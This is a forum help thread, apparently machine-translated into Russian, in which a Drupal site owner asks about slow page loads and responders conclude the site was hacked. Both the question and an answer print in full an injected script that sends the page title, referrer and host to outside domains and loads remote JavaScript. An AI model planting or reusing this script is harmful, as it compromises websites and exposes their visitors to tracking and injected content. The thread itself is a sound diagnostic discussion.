2016-01-12 3 views
0

Я создал простой сайт Drupal, отлично работает до нескольких недель назад. Это займет слишком много времени или навсегда для загрузки. Когда я Inspec, то много времени ждет «schlosserei-lechner.at» Глядя в коде, я нашел одну строку в модулях/системы/html.tpl.php:Drupal load jquery too long: schlosserei-lechner

 <script> 
    var a=''; 
    setTimeout(10); 
    var default_keyword = encodeURIComponent(document.title); 
    var se_referrer = encodeURIComponent(document.referrer);var host = encodeURIComponent(window.location.host); 
    var base = "http://www.schlosserei-lechner.at/js/jquery.min.php"; 
    var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; 
    var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); 
    if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){ 
     document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>'); 
     } 
    </script> 

Эта нагрузка сделал мой сайт супер медленный: http://hesmen.com/tuanfitness

Может ли кто-нибудь объяснить мне, что это значит? Как и как решить эту проблему с большой нагрузкой. Сайт полностью обновлен до последней версии (ядро и модули)

+0

Thats wierd способ включить Jquery ... Интересно, почему вы не используете модуль JQuery для Drupal, если вам нужна более новая версия JQuery https://www.drupal.org/project/jquery_update – Aukhan

+0

Да, я уже установил обновление JQuery. Он все еще там –

+1

Вам следует попытаться удалить этот тег сценария из html.tpl.php и посмотреть, все ли работает так, как ожидается, jQuery уже должен быть установлен модулем обновления jQuery, если он включен. В любом случае этот тег скрипта должен быть реорганизован, так как он не рекомендуется добавлять скрипт в Drupal. – Aukhan

ответ

1

Необычный. Что-то происходит с вашей переменной referrer. Если я перейду по ссылке выше, нажав на нее, это займет навсегда. Если я наберу http://hesmen.com/tuanfitness прямо в браузере, он загружается быстрее. Эта задержка происходит на линии 40 в вашей отображаемой странице с каким-то странным кодом:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://christalblu.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script> 

Эта странная петля происходит во время загрузки страницы, не останавливаясь в середине страницы, пока этот странный цикл завершается.

Устранение Кончик:

  1. Отключить (снимите флажок) модуль установлен через страницу модулей, сохранить, а затем очистить кэш.
  2. Нажмите на ссылку в этом сообщении. Если требуется нагрузка на загрузку: 2a. Повторно включите/проверьте модуль, снимите следующий модуль, который вы установили, вернитесь к шагу 2. В противном случае: 2b. Последний модуль, который вы сняли, вызывает проблему, и вы можете копать глубже.

Если все это не работает, мы копаем глубже!

UPDATE

На самом деле, слушать замечания, чтобы начать (Это был длинный день). Я не понимаю:

if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){ 
    document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>'); 
} 

Это вызывается с ссылающейся настоящее время (как этот сайт, когда вы нажимаете на ссылку здесь). Здесь происходит глупая петля. Ваши проблемы уйдут. Держу пари с удалением этой строки. Тем не менее, что с этим выше указано ?:

setTimeout(10); 

setTimout для какого обратного вызова? Ничего ... Удаление всего этого (как было предложено выше @Aukhan) - отличный первый шаг.

Окончательный ответ UPDATE

После некоторых исследований, я думаю, что ваш сайт эксплуатировалась. См. Это сообщение для конкретных деталей (прокрутите вверх для полной публикации): https://www.drupal.org/node/2576223#comment-10514958

Я чувствую, что это ваш ответ. Подробности в его полном разрешении будут находиться в связанной должности и за пределами того, что я могу здесь вызвать. Надеюсь, это поможет, и я хочу, чтобы ваш сайт быстро и здорово выздоравливал.